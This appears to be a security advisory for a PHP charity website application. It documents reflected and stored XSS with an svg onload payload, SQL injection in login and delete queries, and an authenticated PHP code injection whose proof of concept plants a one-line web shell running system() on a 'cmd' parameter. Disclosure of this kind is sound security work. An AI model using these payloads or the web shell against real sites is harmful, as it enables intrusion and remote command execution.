# Version: 1.0

# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## Unauthenticated reflected XSS

# Vulnerable code in '/search.php' at line 44/45:

<?php if($count_all <= 0): ?>

<h4 class="text-center">No Article with "<?php echo $_GET['search'] ?>" keyword found.</h4>

The content of the 'search' variable is printed on the page without being checked, leading to XSS

# PoC

Go to 'http://site.com/charity/' and in the search box input "<svg onload=alert(document.domain)>" without the double quotes, and a text box should appear

## Authenticated stored XSS

There is a stored XSS in '/charity/admin/maintenance/manage_topic.php' due to a failure to sanitize user input

# Poc

1) Login as admin

2) Go to '/maintenance/manage_topic.php'

3) In "description" insert "<svg onload=alert(document.domain)>" without the double quotes

4) Click the "save" below

5) An alert box should appear

## POST Authenticated SQL Injection

# Vulnerable code in '/charity/classes/Master.php' at line 67

$del = $this->conn->query("DELETE FROM <code>topics</code> where id = '{$id}'");

The $id variable is used without being checked, leading to SQLi

# PoC

if(isset($_GET['id']) && $_GET['id'] > 0){

$qry = $conn->query("SELECT * from <code>topics</code> where id = '{$_GET['id']}' ");

...

}

As usual the 'id' variable is passed to the prepared statement without being checked, leading to (another) SQLi

# PoC

Similar to the previous one (same payload)

## POST Unauthenticated SQL Injection

# Vulnerable code in '/charity/classes/Login.php' at line 21

$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

The 'username' variable is passed without being sanificated, causing a SQLi

# PoC

## PHP Code Injection lead to Authenticated Remote Code Execution (RCE)

# Vulnerable code in /charity/classes/SystemSettings.php at line 37

$qry = $this->conn->query("UPDATE system_info set meta_value = '{$value}' where meta_field = '{$key}' ");

The 'value' variable will be included in the homepage of the site without being checked, leading to RCE.

# PoC

1) Go to /charity/admin/system_info.php and in the "Welcome content" click on "Code View" at the top right.

2) At the bottom of the html code enter the following code: <?php if(isset($_GET['cmd'])) {system($_GET['cmd']);} ?>

3) Click the "update" button

4) Go to the home page and at the end of the url tipe "?cmd=$cmd" without the double quotes and replacing $cmd with the command you want to execute

5) The output should appear in the homepage
